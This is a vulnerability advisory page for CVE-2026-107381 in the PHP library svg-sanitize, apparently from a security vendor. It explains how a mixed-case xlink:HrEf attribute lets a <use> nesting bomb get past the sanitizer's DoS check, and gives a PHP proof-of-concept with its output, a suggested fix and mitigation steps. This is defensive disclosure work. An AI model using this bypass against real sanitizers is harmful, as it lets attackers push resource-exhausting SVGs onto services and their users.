Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
MEDIUM severity

CVE-2026-107381 — svg-sanitize

MEDIUMFix: darylldoyle/svg-sanitizer@2dff662

CVE-2026-107381 is a medium-severity (CVSS 6.5) CWE-178 vulnerability in enshrined/svg-sanitize. A fix is available for enshrined/svg-sanitize — see the affected versions and patch details below.

svg-sanitizer: Mixed-case xlink:HrEf skips the `<use>` nesting-DoS check in Resolver::processReferences

Also known asGHSA-m9xh-6747-9r6f
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-107381.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs35th percentile — riskier than 35% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-107381 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐘enshrined/svg-sanitize

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Resolver::processReferences() collects <use> elements with the XPath predicate use[@href or @xlink:href], which is case sensitive. A <use> element written as xlink:HrEf is therefore never added to the reference graph, so the nesting-DoS nullification never marks it for removal. Sanitizer::cleanHrefAttributes() then runs later in the same pass and rewrites xlink:HrEf back to the canonical xlink:href. The sanitizer hands back a fully live nesting bomb that it would have stripped completely had the input used canonical casing.

This is the mirror image of CVE-2025-55166: that fix made href value checking case insensitive, but the <use> reference graph still selects nodes case sensitively.

Where it is

src/ElementReference/Resolver.php:97-118, the case-sensitive node selection:

$useNodeName = $this->xPath->createNodeName('use');
foreach ($this->subjects as $subject) {
    $useElements = $this->xPath->query(
        $useNodeName . '[@href or @xlink:href]',
        $subject->getElement()
    );

src/Sanitizer.php:479-504, the normalization that happens afterwards and makes the attribute live again:

// in case the attribute name is `HrEf`/`xlink:HrEf`, adjust it to `href`/`xlink:href`
if (!in_array($attribute->nodeName, $this->allowedAttrs, true)
    && in_array(strtolower($attribute->nodeName), $this->allowedAttrs, true)
) {
    $element->removeAttribute($attribute->nodeName);
    $element->setAttribute(strtolower($attribute->nodeName), $attribute->value);
}

Ordering is the whole bug. Sanitizer::sanitize() builds the resolver graph first and normalizes attribute casing second, so the graph is built against names the sanitizer is about to change.

Impact

Anyone who can submit an SVG to an application that sanitizes it with this library and then serves it. No privileges beyond being able to upload or paste an SVG. The output is the project's own tests/data/useDosTest.svg nesting structure, intact, with canonical xlink:href attributes, which is exactly the input the useNestingLimit machinery exists to defuse.

Proof of concept

Against a clean clone of tag 0.22.0. The only change to the input is rewriting xlink:href to xlink:HrEf in the project's own DoS fixture.

<?php
spl_autoload_register(function ($class) {
    $p = 'enshrined\\svgSanitize\\';
    if (strpos($class, $p) !== 0) return;
    $rel = str_replace('\\', '/', substr($class, strlen($p)));
    $f = __DIR__ . '/svgsan/src/' . $rel . '.php';
    if (file_exists($f)) require $f;
});
$orig = file_get_contents(__DIR__ . '/svgsan/tests/data/useDosTest.svg');
$mut  = str_replace('xlink:href', 'xlink:HrEf', $orig);

function run($label, $input) {
    $s = new \enshrined\svgSanitize\Sanitizer();
    $s->removeRemoteReferences(true);
    $out = $s->sanitize($input);
    echo "[$label]\n";
    echo "  output <use  count : ", substr_count($out, '<use '), "\n";
    echo "  output xlink:href  : ", (strpos($out,'xlink:href')!==false?'YES':'NO'), "\n";
    echo "  output xlink:HrEf  : ", (strpos($out,'xlink:HrEf')!==false?'YES':'NO'), "\n";
}
run('canonical xlink:href (control)', $orig);
run('mixed-case xlink:HrEf (attack)', $mut);

Observed on PHP 8.5.9:

orig use count: 201
mutated input has xlink:HrEf: YES

[canonical xlink:href (control)]
  output <use  count : 0
  output xlink:href  : NO
  output xlink:HrEf  : NO
[mixed-case xlink:HrEf (attack)]
  output <use  count : 201
  output xlink:href  : YES
  output xlink:HrEf  : NO

201 to 0 on canonical input, 201 to 201 on mixed-case input, and the output attribute name comes back canonical either way. To be precise about what I measured: I measured the nullification being skipped and the attribute being re-canonicalized. I did not measure renderer memory or CPU on the resulting file, so the downstream cost is whatever you already assign to useDosTest.svg.

Suggested fix

Stop matching attribute names case sensitively when the reference graph is built. Either select every descendant use and resolve the href in PHP with a case-insensitive local-name lookup (an extension of Helper::getElementHref() at Helper.php:10-19 is the smallest change), or move the cleanHrefAttributes() canonicalization so it runs before $this->elementReferenceResolver->collect() rather than after, so the resolver only ever sees href and xlink:href. The second option also removes the general class of bug where the graph and the cleaner disagree about a node's identity.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistenshrined/svg-sanitizeall versions1.0.0composer require enshrined/svg-sanitize:^1.0.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for enshrined/svg-sanitize, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update enshrined/svg-sanitize to 1.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-107381 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

## Summary `Resolver::processReferences()` collects `<use>` elements with the XPath predicate `use[@href or @xlink:href]`, which is case sensitive. A `<use>` element written as `xlink:HrEf` is therefore never added to the reference graph, so the nesting-DoS nullification never marks it for removal. `Sanitizer::cleanHrefAttributes()` then runs later in the same pass and rewrites `xlink:HrEf` back to the canonical `xlink:href`. The sanitizer hands back a fully live nesting bomb that it would have stripped completely had the input used canonical casing. This is the mirror image of CVE-2025-5516
O3 Security · Impact-Aware SCA

Is CVE-2026-107381 in your dependencies?

Find it across Packagist, including transitive dependencies.

CVE-2026-107381: svg-sanitize DoS — Fixed in 1.0.0